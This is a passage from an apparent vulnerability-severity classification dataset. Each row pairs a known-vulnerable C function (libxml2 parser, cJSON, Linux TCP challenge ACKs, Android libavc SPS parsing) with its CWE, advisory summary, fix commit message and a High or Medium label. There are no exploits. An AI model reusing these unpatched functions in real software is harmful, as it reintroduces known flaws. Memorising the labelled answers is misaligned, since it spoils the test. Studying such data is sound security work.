xmlFatalErr(ctxt, XML_ERR_DOCUMENT_END, NULL);
ctxt->instate = XML_PARSER_EOF;
#ifdef DEBUG_PUSH
xmlGenericError(xmlGenericErrorContext,
"PP: entering EOF\n");
#endif
if ((ctxt->sax) && (ctxt->sax->endDocument != NULL))
ctxt->sax->endDocument(ctxt->userData);
goto done;
}
break;
case XML_PARSER_DTD: {
/*
* Sorry but progressive parsing of the internal subset
* is not expected to be supported. We first check that
* the full content of the internal subset is available and
* the parsing is launched only at that point.
* Internal subset ends up with "']' S? '>'" in an unescaped
* section and not in a ']]>' sequence which are conditional
* sections (whoever argued to keep that crap in XML deserve
* a place in hell !).
*/
int base, i;
xmlChar *buf;
xmlChar quote = 0;
base = ctxt->input->cur - ctxt->input->base;
if (base < 0) return(0);
if (ctxt->checkIndex > base)
base = ctxt->checkIndex;
buf = ctxt->input->buf->buffer->content;
for (;(unsigned int) base < ctxt->input->buf->buffer->use;
base++) {
if (quote != 0) {
if (buf[base] == quote)
quote = 0;
continue;
}
if ((quote == 0) && (buf[base] == '<')) {
int found = 0;
/* special handling of comments */
if (((unsigned int) base + 4 <
ctxt->input->buf->buffer->use) &&
(buf[base + 1] == '!') &&
(buf[base + 2] == '-') &&
(buf[base + 3] == '-')) {
for (;(unsigned int) base + 3 <
ctxt->input->buf->buffer->use; base++) {
if ((buf[base] == '-') &&
(buf[base + 1] == '-') &&
(buf[base + 2] == '>')) {
found = 1;
base += 2;
break;
}
}
if (!found) {
#if 0
fprintf(stderr, "unfinished comment\n");
#endif
break; /* for */
}
continue;
}
}
if (buf[base] == '"') {
quote = '"';
continue;
}
if (buf[base] == '\'') {
quote = '\'';
continue;
}
if (buf[base] == ']') {
#if 0
fprintf(stderr, "%c%c%c%c: ", buf[base],
buf[base + 1], buf[base + 2], buf[base + 3]);
#endif
if ((unsigned int) base +1 >=
ctxt->input->buf->buffer->use)
break;
if (buf[base + 1] == ']') {
/* conditional crap, skip both ']' ! */
base++;
continue;
}
for (i = 1;
(unsigned int) base + i < ctxt->input->buf->buffer->use;
i++) {
if (buf[base + i] == '>') {
#if 0
fprintf(stderr, "found\n");
#endif
goto found_end_int_subset;
}
if (!IS_BLANK_CH(buf[base + i])) {
#if 0
fprintf(stderr, "not found\n");
#endif
goto not_end_of_int_subset;
}
}
#if 0
fprintf(stderr, "end of stream\n");
#endif
break;
}
not_end_of_int_subset:
continue; /* for */
}
/*
* We didn't found the end of the Internal subset
*/
#ifdef DEBUG_PUSH
if (next == 0)
xmlGenericError(xmlGenericErrorContext,
"PP: lookup of int subset end filed\n");
#endif
goto done;
found_end_int_subset:
xmlParseInternalSubset(ctxt);
ctxt->inSubset = 2;
if ((ctxt->sax != NULL) && (!ctxt->disableSAX) &&
(ctxt->sax->externalSubset != NULL))
ctxt->sax->externalSubset(ctxt->userData, ctxt->intSubName,
ctxt->extSubSystem, ctxt->extSubURI);
ctxt->inSubset = 0;
xmlCleanSpecialAttr(ctxt);
ctxt->instate = XML_PARSER_PROLOG;
ctxt->checkIndex = 0;
#ifdef DEBUG_PUSH
xmlGenericError(xmlGenericErrorContext,
"PP: entering PROLOG\n");
#endif
break;
}
case XML_PARSER_COMMENT:
xmlGenericError(xmlGenericErrorContext,
"PP: internal error, state == COMMENT\n");
ctxt->instate = XML_PARSER_CONTENT;
#ifdef DEBUG_PUSH
xmlGenericError(xmlGenericErrorContext,
"PP: entering CONTENT\n");
#endif
break;
case XML_PARSER_IGNORE:
xmlGenericError(xmlGenericErrorContext,
"PP: internal error, state == IGNORE");
ctxt->instate = XML_PARSER_DTD;
#ifdef DEBUG_PUSH
xmlGenericError(xmlGenericErrorContext,
"PP: entering DTD\n");
#endif
break;
case XML_PARSER_PI:
xmlGenericError(xmlGenericErrorContext,
"PP: internal error, state == PI\n");
ctxt->instate = XML_PARSER_CONTENT;
#ifdef DEBUG_PUSH
xmlGenericError(xmlGenericErrorContext,
"PP: entering CONTENT\n");
#endif
break;
case XML_PARSER_ENTITY_DECL:
xmlGenericError(xmlGenericErrorContext,
"PP: internal error, state == ENTITY_DECL\n");
ctxt->instate = XML_PARSER_DTD;
#ifdef DEBUG_PUSH
xmlGenericError(xmlGenericErrorContext,
"PP: entering DTD\n");
#endif
break;
case XML_PARSER_ENTITY_VALUE:
xmlGenericError(xmlGenericErrorContext,
"PP: internal error, state == ENTITY_VALUE\n");
ctxt->instate = XML_PARSER_CONTENT;
#ifdef DEBUG_PUSH
xmlGenericError(xmlGenericErrorContext,
"PP: entering DTD\n");
#endif
break;
case XML_PARSER_ATTRIBUTE_VALUE:
xmlGenericError(xmlGenericErrorContext,
"PP: internal error, state == ATTRIBUTE_VALUE\n");
ctxt->instate = XML_PARSER_START_TAG;
#ifdef DEBUG_PUSH
xmlGenericError(xmlGenericErrorContext,
"PP: entering START_TAG\n");
#endif
break;
case XML_PARSER_SYSTEM_LITERAL:
xmlGenericError(xmlGenericErrorContext,
"PP: internal error, state == SYSTEM_LITERAL\n");
ctxt->instate = XML_PARSER_START_TAG;
#ifdef DEBUG_PUSH
xmlGenericError(xmlGenericErrorContext,
"PP: entering START_TAG\n");
#endif
break;
case XML_PARSER_PUBLIC_LITERAL:
xmlGenericError(xmlGenericErrorContext,
"PP: internal error, state == PUBLIC_LITERAL\n");
ctxt->instate = XML_PARSER_START_TAG;
#ifdef DEBUG_PUSH
xmlGenericError(xmlGenericErrorContext,
"PP: entering START_TAG\n");
#endif
break;
}
}
done:
#ifdef DEBUG_PUSH
xmlGenericError(xmlGenericErrorContext, "PP: done %d\n", ret);
#endif
return(ret);
encoding_error:
{
char buffer[150];
snprintf(buffer, 149, "Bytes: 0x%02X 0x%02X 0x%02X 0x%02X\n",
ctxt->input->cur[0], ctxt->input->cur[1],
ctxt->input->cur[2], ctxt->input->cur[3]);
__xmlErrEncoding(ctxt, XML_ERR_INVALID_CHAR,
"Input is not proper UTF-8, indicate encoding !\n%s",
BAD_CAST buffer, NULL);
}
return(0);
}
Vulnerability Type: DoS Overflow
CWE ID: CWE-119
Summary: parser.c in libxml2 before 2.9.0, as used in Google Chrome before 28.0.1500.71 and other products, allows remote attackers to cause a denial of service (out-of-bounds read) via a document that ends abruptly, related to the lack of certain checks for the XML_PARSER_EOF state.
Commit Message: libxml: XML_PARSER_EOF checks from upstream
BUG=229019
TBR=cpu
Review URL: https://chromiumcodereview.appspot.com/14053009
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@196804 0039d316-1c4b-4281-b951-d872f2087c98 | Medium | 171,307 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: char *cJSON_PrintUnformatted( cJSON *item )
{
return print_value( item, 0, 0 );
}
Vulnerability Type: DoS Exec Code Overflow
CWE ID: CWE-119
Summary: The parse_string function in cjson.c in the cJSON library mishandles UTF8/16 strings, which allows remote attackers to cause a denial of service (crash) or execute arbitrary code via a non-hex character in a JSON string, which triggers a heap-based buffer overflow.
Commit Message: Fix a buffer overflow / heap corruption issue that could occur if a
malformed JSON string was passed on the control channel. This issue,
present in the cJSON library, was already fixed upstream, so was
addressed here in iperf3 by importing a newer version of cJSON (plus
local ESnet modifications).
Discovered and reported by Dave McDaniel, Cisco Talos.
Based on a patch by @dopheide-esnet, with input from @DaveGamble.
Cross-references: TALOS-CAN-0164, ESNET-SECADV-2016-0001,
CVE-2016-4303
(cherry picked from commit ed94082be27d971a5e1b08b666e2c217cf470a40)
Signed-off-by: Bruce A. Mah <[email protected]> | High | 167,294 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: static void tcp_send_challenge_ack(struct sock *sk, const struct sk_buff *skb)
{
/* unprotected vars, we dont care of overwrites */
static u32 challenge_timestamp;
static unsigned int challenge_count;
struct tcp_sock *tp = tcp_sk(sk);
u32 now;
/* First check our per-socket dupack rate limit. */
if (tcp_oow_rate_limited(sock_net(sk), skb,
LINUX_MIB_TCPACKSKIPPEDCHALLENGE,
&tp->last_oow_ack_time))
return;
/* Then check the check host-wide RFC 5961 rate limit. */
now = jiffies / HZ;
if (now != challenge_timestamp) {
challenge_timestamp = now;
challenge_count = 0;
}
if (++challenge_count <= sysctl_tcp_challenge_ack_limit) {
NET_INC_STATS(sock_net(sk), LINUX_MIB_TCPCHALLENGEACK);
tcp_send_ack(sk);
}
}
Vulnerability Type: +Info
CWE ID: CWE-200
Summary: net/ipv4/tcp_input.c in the Linux kernel before 4.7 does not properly determine the rate of challenge ACK segments, which makes it easier for remote attackers to hijack TCP sessions via a blind in-window attack.
Commit Message: tcp: make challenge acks less predictable
Yue Cao claims that current host rate limiting of challenge ACKS
(RFC 5961) could leak enough information to allow a patient attacker
to hijack TCP sessions. He will soon provide details in an academic
paper.
This patch increases the default limit from 100 to 1000, and adds
some randomization so that the attacker can no longer hijack
sessions without spending a considerable amount of probes.
Based on initial analysis and patch from Linus.
Note that we also have per socket rate limiting, so it is tempting
to remove the host limit in the future.
v2: randomize the count of challenge acks per second, not the period.
Fixes: 282f23c6ee34 ("tcp: implement RFC 5961 3.2")
Reported-by: Yue Cao <[email protected]>
Signed-off-by: Eric Dumazet <[email protected]>
Suggested-by: Linus Torvalds <[email protected]>
Cc: Yuchung Cheng <[email protected]>
Cc: Neal Cardwell <[email protected]>
Acked-by: Neal Cardwell <[email protected]>
Acked-by: Yuchung Cheng <[email protected]>
Signed-off-by: David S. Miller <[email protected]> | Medium | 167,133 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: WORD32 ih264d_parse_sps(dec_struct_t *ps_dec, dec_bit_stream_t *ps_bitstrm)
{
UWORD8 i;
dec_seq_params_t *ps_seq = NULL;
UWORD8 u1_profile_idc, u1_level_idc, u1_seq_parameter_set_id;
UWORD16 i2_max_frm_num;
UWORD32 *pu4_bitstrm_buf = ps_bitstrm->pu4_buffer;
UWORD32 *pu4_bitstrm_ofst = &ps_bitstrm->u4_ofst;
UWORD8 u1_frm, uc_constraint_set0_flag, uc_constraint_set1_flag;
WORD32 i4_cropped_ht, i4_cropped_wd;
UWORD32 u4_temp;
WORD32 pic_height_in_map_units_minus1 = 0;
UWORD32 u2_pic_wd = 0;
UWORD32 u2_pic_ht = 0;
UWORD32 u2_frm_wd_y = 0;
UWORD32 u2_frm_ht_y = 0;
UWORD32 u2_frm_wd_uv = 0;
UWORD32 u2_frm_ht_uv = 0;
UWORD32 u2_crop_offset_y = 0;
UWORD32 u2_crop_offset_uv = 0;
WORD32 ret;
UWORD32 u4_num_reorder_frames;
/* High profile related syntax element */
WORD32 i4_i;
/* G050 */
UWORD8 u1_frame_cropping_flag, u1_frame_cropping_rect_left_ofst,
u1_frame_cropping_rect_right_ofst,
u1_frame_cropping_rect_top_ofst,
u1_frame_cropping_rect_bottom_ofst;
/* G050 */
/*--------------------------------------------------------------------*/
/* Decode seq_parameter_set_id and profile and level values */
/*--------------------------------------------------------------------*/
SWITCHONTRACE;
u1_profile_idc = ih264d_get_bits_h264(ps_bitstrm, 8);
COPYTHECONTEXT("SPS: profile_idc",u1_profile_idc);
/* G050 */
uc_constraint_set0_flag = ih264d_get_bit_h264(ps_bitstrm);
uc_constraint_set1_flag = ih264d_get_bit_h264(ps_bitstrm);
ih264d_get_bit_h264(ps_bitstrm);
/*****************************************************/
/* Read 5 bits for uc_constraint_set3_flag (1 bit) */
/* and reserved_zero_4bits (4 bits) - Sushant */
/*****************************************************/
ih264d_get_bits_h264(ps_bitstrm, 5);
/* G050 */
/* Check whether particular profile is suported or not */
/* Check whether particular profile is suported or not */
if((u1_profile_idc != MAIN_PROFILE_IDC) &&
(u1_profile_idc != BASE_PROFILE_IDC) &&
(u1_profile_idc != HIGH_PROFILE_IDC)
)
{
/* Apart from Baseline, main and high profile,
* only extended profile is supported provided
* uc_constraint_set0_flag or uc_constraint_set1_flag are set to 1
*/
if((u1_profile_idc != EXTENDED_PROFILE_IDC) ||
((uc_constraint_set1_flag != 1) && (uc_constraint_set0_flag != 1)))
{
return (ERROR_FEATURE_UNAVAIL);
}
}
u1_level_idc = ih264d_get_bits_h264(ps_bitstrm, 8);
COPYTHECONTEXT("SPS: u4_level_idc",u1_level_idc);
u4_temp = ih264d_uev(pu4_bitstrm_ofst, pu4_bitstrm_buf);
if(u4_temp & MASK_ERR_SEQ_SET_ID)
return ERROR_INV_SPS_PPS_T;
u1_seq_parameter_set_id = u4_temp;
COPYTHECONTEXT("SPS: seq_parameter_set_id",
u1_seq_parameter_set_id);
/*--------------------------------------------------------------------*/
/* Find an seq param entry in seqparam array of decStruct */
/*--------------------------------------------------------------------*/
ps_seq = ps_dec->pv_scratch_sps_pps;
if(ps_dec->i4_header_decoded & 1)
{
*ps_seq = *ps_dec->ps_cur_sps;
}
if((ps_dec->i4_header_decoded & 1) && (ps_seq->u1_profile_idc != u1_profile_idc))
{
ps_dec->u1_res_changed = 1;
return IVD_RES_CHANGED;
}
if((ps_dec->i4_header_decoded & 1) && (ps_seq->u1_level_idc != u1_level_idc))
{
ps_dec->u1_res_changed = 1;
return IVD_RES_CHANGED;
}
ps_seq->u1_profile_idc = u1_profile_idc;
ps_seq->u1_level_idc = u1_level_idc;
ps_seq->u1_seq_parameter_set_id = u1_seq_parameter_set_id;
/*******************************************************************/
/* Initializations for high profile - Sushant */
/*******************************************************************/
ps_seq->i4_chroma_format_idc = 1;
ps_seq->i4_bit_depth_luma_minus8 = 0;
ps_seq->i4_bit_depth_chroma_minus8 = 0;
ps_seq->i4_qpprime_y_zero_transform_bypass_flag = 0;
ps_seq->i4_seq_scaling_matrix_present_flag = 0;
if(u1_profile_idc == HIGH_PROFILE_IDC)
{
/* reading chroma_format_idc */
ps_seq->i4_chroma_format_idc = ih264d_uev(pu4_bitstrm_ofst,
pu4_bitstrm_buf);
/* Monochrome is not supported */
if(ps_seq->i4_chroma_format_idc != 1)
{
return ERROR_INV_SPS_PPS_T;
}
/* reading bit_depth_luma_minus8 */
ps_seq->i4_bit_depth_luma_minus8 = ih264d_uev(pu4_bitstrm_ofst,
pu4_bitstrm_buf);
if(ps_seq->i4_bit_depth_luma_minus8 != 0)
{
return ERROR_INV_SPS_PPS_T;
}
/* reading bit_depth_chroma_minus8 */
ps_seq->i4_bit_depth_chroma_minus8 = ih264d_uev(pu4_bitstrm_ofst,
pu4_bitstrm_buf);
if(ps_seq->i4_bit_depth_chroma_minus8 != 0)
{
return ERROR_INV_SPS_PPS_T;
}
/* reading qpprime_y_zero_transform_bypass_flag */
ps_seq->i4_qpprime_y_zero_transform_bypass_flag =
(WORD32)ih264d_get_bit_h264(ps_bitstrm);
if(ps_seq->i4_qpprime_y_zero_transform_bypass_flag != 0)
{
return ERROR_INV_SPS_PPS_T;
}
/* reading seq_scaling_matrix_present_flag */
ps_seq->i4_seq_scaling_matrix_present_flag =
(WORD32)ih264d_get_bit_h264(ps_bitstrm);
if(ps_seq->i4_seq_scaling_matrix_present_flag)
{
for(i4_i = 0; i4_i < 8; i4_i++)
{
ps_seq->u1_seq_scaling_list_present_flag[i4_i] =
ih264d_get_bit_h264(ps_bitstrm);
/* initialize u1_use_default_scaling_matrix_flag[i4_i] to zero */
/* before calling scaling list */
ps_seq->u1_use_default_scaling_matrix_flag[i4_i] = 0;
if(ps_seq->u1_seq_scaling_list_present_flag[i4_i])
{
if(i4_i < 6)
{
ih264d_scaling_list(
ps_seq->i2_scalinglist4x4[i4_i],
16,
&ps_seq->u1_use_default_scaling_matrix_flag[i4_i],
ps_bitstrm);
}
else
{
ih264d_scaling_list(
ps_seq->i2_scalinglist8x8[i4_i - 6],
64,
&ps_seq->u1_use_default_scaling_matrix_flag[i4_i],
ps_bitstrm);
}
}
}
}
}
/*--------------------------------------------------------------------*/
/* Decode MaxFrameNum */
/*--------------------------------------------------------------------*/
u4_temp = 4 + ih264d_uev(pu4_bitstrm_ofst, pu4_bitstrm_buf);
if(u4_temp > MAX_BITS_IN_FRAME_NUM)
{
return ERROR_INV_SPS_PPS_T;
}
ps_seq->u1_bits_in_frm_num = u4_temp;
COPYTHECONTEXT("SPS: log2_max_frame_num_minus4",
(ps_seq->u1_bits_in_frm_num - 4));
i2_max_frm_num = (1 << (ps_seq->u1_bits_in_frm_num));
ps_seq->u2_u4_max_pic_num_minus1 = i2_max_frm_num - 1;
/*--------------------------------------------------------------------*/
/* Decode picture order count and related values */
/*--------------------------------------------------------------------*/
u4_temp = ih264d_uev(pu4_bitstrm_ofst, pu4_bitstrm_buf);
if(u4_temp > MAX_PIC_ORDER_CNT_TYPE)
{
return ERROR_INV_POC_TYPE_T;
}
ps_seq->u1_pic_order_cnt_type = u4_temp;
COPYTHECONTEXT("SPS: pic_order_cnt_type",ps_seq->u1_pic_order_cnt_type);
ps_seq->u1_num_ref_frames_in_pic_order_cnt_cycle = 1;
if(ps_seq->u1_pic_order_cnt_type == 0)
{
u4_temp = 4 + ih264d_uev(pu4_bitstrm_ofst, pu4_bitstrm_buf);
if(u4_temp > MAX_BITS_IN_POC_LSB)
{
return ERROR_INV_SPS_PPS_T;
}
ps_seq->u1_log2_max_pic_order_cnt_lsb_minus = u4_temp;
ps_seq->i4_max_pic_order_cntLsb = (1 << u4_temp);
COPYTHECONTEXT("SPS: log2_max_pic_order_cnt_lsb_minus4",(u4_temp - 4));
}
else if(ps_seq->u1_pic_order_cnt_type == 1)
{
ps_seq->u1_delta_pic_order_always_zero_flag = ih264d_get_bit_h264(
ps_bitstrm);
COPYTHECONTEXT("SPS: delta_pic_order_always_zero_flag",
ps_seq->u1_delta_pic_order_always_zero_flag);
ps_seq->i4_ofst_for_non_ref_pic = ih264d_sev(pu4_bitstrm_ofst,
pu4_bitstrm_buf);
COPYTHECONTEXT("SPS: offset_for_non_ref_pic",
ps_seq->i4_ofst_for_non_ref_pic);
ps_seq->i4_ofst_for_top_to_bottom_field = ih264d_sev(
pu4_bitstrm_ofst, pu4_bitstrm_buf);
COPYTHECONTEXT("SPS: offset_for_top_to_bottom_field",
ps_seq->i4_ofst_for_top_to_bottom_field);
u4_temp = ih264d_uev(pu4_bitstrm_ofst, pu4_bitstrm_buf);
if(u4_temp > 255)
return ERROR_INV_SPS_PPS_T;
ps_seq->u1_num_ref_frames_in_pic_order_cnt_cycle = u4_temp;
COPYTHECONTEXT("SPS: num_ref_frames_in_pic_order_cnt_cycle",
ps_seq->u1_num_ref_frames_in_pic_order_cnt_cycle);
for(i = 0; i < ps_seq->u1_num_ref_frames_in_pic_order_cnt_cycle; i++)
{
ps_seq->i4_ofst_for_ref_frame[i] = ih264d_sev(
pu4_bitstrm_ofst, pu4_bitstrm_buf);
COPYTHECONTEXT("SPS: offset_for_ref_frame",
ps_seq->i4_ofst_for_ref_frame[i]);
}
}
u4_temp = ih264d_uev(pu4_bitstrm_ofst, pu4_bitstrm_buf);
if((u4_temp > H264_MAX_REF_PICS))
{
return ERROR_NUM_REF;
}
/* Compare with older num_ref_frames is header is already once */
if((ps_dec->i4_header_decoded & 1) && (ps_seq->u1_num_ref_frames != u4_temp))
{
ps_dec->u1_res_changed = 1;
return IVD_RES_CHANGED;
}
ps_seq->u1_num_ref_frames = u4_temp;
COPYTHECONTEXT("SPS: num_ref_frames",ps_seq->u1_num_ref_frames);
ps_seq->u1_gaps_in_frame_num_value_allowed_flag = ih264d_get_bit_h264(
ps_bitstrm);
COPYTHECONTEXT("SPS: gaps_in_frame_num_value_allowed_flag",
ps_seq->u1_gaps_in_frame_num_value_allowed_flag);
/*--------------------------------------------------------------------*/
/* Decode FrameWidth and FrameHeight and related values */
/*--------------------------------------------------------------------*/
ps_seq->u2_frm_wd_in_mbs = 1
+ ih264d_uev(pu4_bitstrm_ofst, pu4_bitstrm_buf);
COPYTHECONTEXT("SPS: pic_width_in_mbs_minus1",
ps_seq->u2_frm_wd_in_mbs - 1);
u2_pic_wd = (ps_seq->u2_frm_wd_in_mbs << 4);
pic_height_in_map_units_minus1 = ih264d_uev(pu4_bitstrm_ofst,
pu4_bitstrm_buf);
ps_seq->u2_frm_ht_in_mbs = 1 + pic_height_in_map_units_minus1;
u2_pic_ht = (ps_seq->u2_frm_ht_in_mbs << 4);
/*--------------------------------------------------------------------*/
/* Get the value of MaxMbAddress and Number of bits needed for it */
/*--------------------------------------------------------------------*/
ps_seq->u2_max_mb_addr = (ps_seq->u2_frm_wd_in_mbs
* ps_seq->u2_frm_ht_in_mbs) - 1;
ps_seq->u2_total_num_of_mbs = ps_seq->u2_max_mb_addr + 1;
ps_seq->u1_level_idc = ih264d_correct_level_idc(
u1_level_idc, ps_seq->u2_total_num_of_mbs);
u1_frm = ih264d_get_bit_h264(ps_bitstrm);
if((ps_dec->i4_header_decoded & 1) && (ps_seq->u1_frame_mbs_only_flag != u1_frm))
{
ps_dec->u1_res_changed = 1;
return IVD_RES_CHANGED;
}
ps_seq->u1_frame_mbs_only_flag = u1_frm;
COPYTHECONTEXT("SPS: frame_mbs_only_flag", u1_frm);
if(!u1_frm)
{
u2_pic_ht <<= 1;
ps_seq->u1_mb_aff_flag = ih264d_get_bit_h264(ps_bitstrm);
COPYTHECONTEXT("SPS: mb_adaptive_frame_field_flag",
ps_seq->u1_mb_aff_flag);
}
else
ps_seq->u1_mb_aff_flag = 0;
ps_seq->u1_direct_8x8_inference_flag = ih264d_get_bit_h264(ps_bitstrm);
COPYTHECONTEXT("SPS: direct_8x8_inference_flag",
ps_seq->u1_direct_8x8_inference_flag);
/* G050 */
u1_frame_cropping_flag = ih264d_get_bit_h264(ps_bitstrm);
COPYTHECONTEXT("SPS: frame_cropping_flag",u1_frame_cropping_flag);
if(u1_frame_cropping_flag)
{
u1_frame_cropping_rect_left_ofst = ih264d_uev(pu4_bitstrm_ofst,
pu4_bitstrm_buf);
COPYTHECONTEXT("SPS: frame_cropping_rect_left_offset",
u1_frame_cropping_rect_left_ofst);
u1_frame_cropping_rect_right_ofst = ih264d_uev(pu4_bitstrm_ofst,
pu4_bitstrm_buf);
COPYTHECONTEXT("SPS: frame_cropping_rect_right_offset",
u1_frame_cropping_rect_right_ofst);
u1_frame_cropping_rect_top_ofst = ih264d_uev(pu4_bitstrm_ofst,
pu4_bitstrm_buf);
COPYTHECONTEXT("SPS: frame_cropping_rect_top_offset",
u1_frame_cropping_rect_top_ofst);
u1_frame_cropping_rect_bottom_ofst = ih264d_uev(pu4_bitstrm_ofst,
pu4_bitstrm_buf);
COPYTHECONTEXT("SPS: frame_cropping_rect_bottom_offset",
u1_frame_cropping_rect_bottom_ofst);
}
/* G050 */
ps_seq->u1_vui_parameters_present_flag = ih264d_get_bit_h264(ps_bitstrm);
COPYTHECONTEXT("SPS: vui_parameters_present_flag",
ps_seq->u1_vui_parameters_present_flag);
u2_frm_wd_y = u2_pic_wd + (UWORD8)(PAD_LEN_Y_H << 1);
if(1 == ps_dec->u4_share_disp_buf)
{
if(ps_dec->u4_app_disp_width > u2_frm_wd_y)
u2_frm_wd_y = ps_dec->u4_app_disp_width;
}
u2_frm_ht_y = u2_pic_ht + (UWORD8)(PAD_LEN_Y_V << 2);
u2_frm_wd_uv = u2_pic_wd + (UWORD8)(PAD_LEN_UV_H << 2);
u2_frm_wd_uv = MAX(u2_frm_wd_uv, u2_frm_wd_y);
u2_frm_ht_uv = (u2_pic_ht >> 1) + (UWORD8)(PAD_LEN_UV_V << 2);
u2_frm_ht_uv = MAX(u2_frm_ht_uv, (u2_frm_ht_y >> 1));
/* Calculate display picture width, height and start u4_ofst from YUV420 */
/* pictute buffers as per cropping information parsed above */
{
UWORD16 u2_rgt_ofst = 0;
UWORD16 u2_lft_ofst = 0;
UWORD16 u2_top_ofst = 0;
UWORD16 u2_btm_ofst = 0;
UWORD8 u1_frm_mbs_flag;
UWORD8 u1_vert_mult_factor;
if(u1_frame_cropping_flag)
{
/* Calculate right and left u4_ofst for cropped picture */
u2_rgt_ofst = u1_frame_cropping_rect_right_ofst << 1;
u2_lft_ofst = u1_frame_cropping_rect_left_ofst << 1;
/* Know frame MBs only u4_flag */
u1_frm_mbs_flag = (1 == ps_seq->u1_frame_mbs_only_flag);
/* Simplify the vertical u4_ofst calculation from field/frame */
u1_vert_mult_factor = (2 - u1_frm_mbs_flag);
/* Calculate bottom and top u4_ofst for cropped picture */
u2_btm_ofst = (u1_frame_cropping_rect_bottom_ofst
<< u1_vert_mult_factor);
u2_top_ofst = (u1_frame_cropping_rect_top_ofst
<< u1_vert_mult_factor);
}
/* Calculate u4_ofst from start of YUV 420 picture buffer to start of*/
/* cropped picture buffer */
u2_crop_offset_y = (u2_frm_wd_y * u2_top_ofst) + (u2_lft_ofst);
u2_crop_offset_uv = (u2_frm_wd_uv * (u2_top_ofst >> 1))
+ (u2_lft_ofst >> 1) * YUV420SP_FACTOR;
/* Calculate the display picture width and height based on crop */
/* information */
i4_cropped_ht = u2_pic_ht - (u2_btm_ofst + u2_top_ofst);
i4_cropped_wd = u2_pic_wd - (u2_rgt_ofst + u2_lft_ofst);
if((i4_cropped_ht < MB_SIZE) || (i4_cropped_wd < MB_SIZE))
{
return ERROR_INV_SPS_PPS_T;
}
if((ps_dec->i4_header_decoded & 1) && (ps_dec->u2_pic_wd != u2_pic_wd))
{
ps_dec->u1_res_changed = 1;
return IVD_RES_CHANGED;
}
if((ps_dec->i4_header_decoded & 1) && (ps_dec->u2_pic_ht != u2_pic_ht))
{
ps_dec->u1_res_changed = 1;
return IVD_RES_CHANGED;
}
/* Check for unsupported resolutions */
if((u2_pic_wd > H264_MAX_FRAME_WIDTH) || (u2_pic_ht > H264_MAX_FRAME_HEIGHT)
|| (u2_pic_wd < H264_MIN_FRAME_WIDTH) || (u2_pic_ht < H264_MIN_FRAME_HEIGHT)
|| (u2_pic_wd * (UWORD32)u2_pic_ht > H264_MAX_FRAME_SIZE))
{
return IVD_STREAM_WIDTH_HEIGHT_NOT_SUPPORTED;
}
/* If MBAff is enabled, decoder support is limited to streams with
* width less than half of H264_MAX_FRAME_WIDTH.
* In case of MBAff decoder processes two rows at a time
*/
if((u2_pic_wd << ps_seq->u1_mb_aff_flag) > H264_MAX_FRAME_WIDTH)
{
return IVD_STREAM_WIDTH_HEIGHT_NOT_SUPPORTED;
}
}
/* Backup u4_num_reorder_frames if header is already decoded */
if((ps_dec->i4_header_decoded & 1) &&
(1 == ps_seq->u1_vui_parameters_present_flag) &&
(1 == ps_seq->s_vui.u1_bitstream_restriction_flag))
{
u4_num_reorder_frames = ps_seq->s_vui.u4_num_reorder_frames;
}
else
{
u4_num_reorder_frames = -1;
}
if(1 == ps_seq->u1_vui_parameters_present_flag)
{
ret = ih264d_parse_vui_parametres(&ps_seq->s_vui, ps_bitstrm);
if(ret != OK)
return ret;
}
/* Compare older u4_num_reorder_frames with the new one if header is already decoded */
if((ps_dec->i4_header_decoded & 1) &&
(-1 != (WORD32)u4_num_reorder_frames) &&
(1 == ps_seq->u1_vui_parameters_present_flag) &&
(1 == ps_seq->s_vui.u1_bitstream_restriction_flag) &&
(ps_seq->s_vui.u4_num_reorder_frames != u4_num_reorder_frames))
{
ps_dec->u1_res_changed = 1;
return IVD_RES_CHANGED;
}
/* In case bitstream read has exceeded the filled size, then
return an error */
if (ps_bitstrm->u4_ofst > ps_bitstrm->u4_max_ofst)
{
return ERROR_INV_SPS_PPS_T;
}
/*--------------------------------------------------------------------*/
/* All initializations to ps_dec are beyond this point */
/*--------------------------------------------------------------------*/
ps_dec->u2_disp_height = i4_cropped_ht;
ps_dec->u2_disp_width = i4_cropped_wd;
ps_dec->u2_pic_wd = u2_pic_wd;
ps_dec->u2_pic_ht = u2_pic_ht;
/* Determining the Width and Height of Frame from that of Picture */
ps_dec->u2_frm_wd_y = u2_frm_wd_y;
ps_dec->u2_frm_ht_y = u2_frm_ht_y;
ps_dec->u2_frm_wd_uv = u2_frm_wd_uv;
ps_dec->u2_frm_ht_uv = u2_frm_ht_uv;
ps_dec->s_pad_mgr.u1_pad_len_y_v = (UWORD8)(PAD_LEN_Y_V << (1 - u1_frm));
ps_dec->s_pad_mgr.u1_pad_len_cr_v = (UWORD8)(PAD_LEN_UV_V << (1 - u1_frm));
ps_dec->u2_frm_wd_in_mbs = ps_seq->u2_frm_wd_in_mbs;
ps_dec->u2_frm_ht_in_mbs = ps_seq->u2_frm_ht_in_mbs;
ps_dec->u2_crop_offset_y = u2_crop_offset_y;
ps_dec->u2_crop_offset_uv = u2_crop_offset_uv;
ps_seq->u1_is_valid = TRUE;
ps_dec->ps_sps[u1_seq_parameter_set_id] = *ps_seq;
ps_dec->ps_cur_sps = &ps_dec->ps_sps[u1_seq_parameter_set_id];
return OK;
}
Vulnerability Type: +Info
CWE ID: CWE-200
Summary: An information disclosure vulnerability in the Android media framework (libavc). Product: Android. Versions: 7.0, 7.1.1, 7.1.2, 8.0, 8.1. Android ID: A-64380237.
Commit Message: Decoder: Detect change of mbaff flag in SPS
Change in Mbaff flag needs re-initialization of NMB group
and other variables in decoder context.
Bug: 64380237
Test: ran poc on ASAN before/after
Change-Id: I0fc65e4dfc3cc2c15528ec52da1782ecec61feab
(cherry picked from commit d524ba03101c0c662c9d365d7357536b42a0265e)
| High | 174,105 |
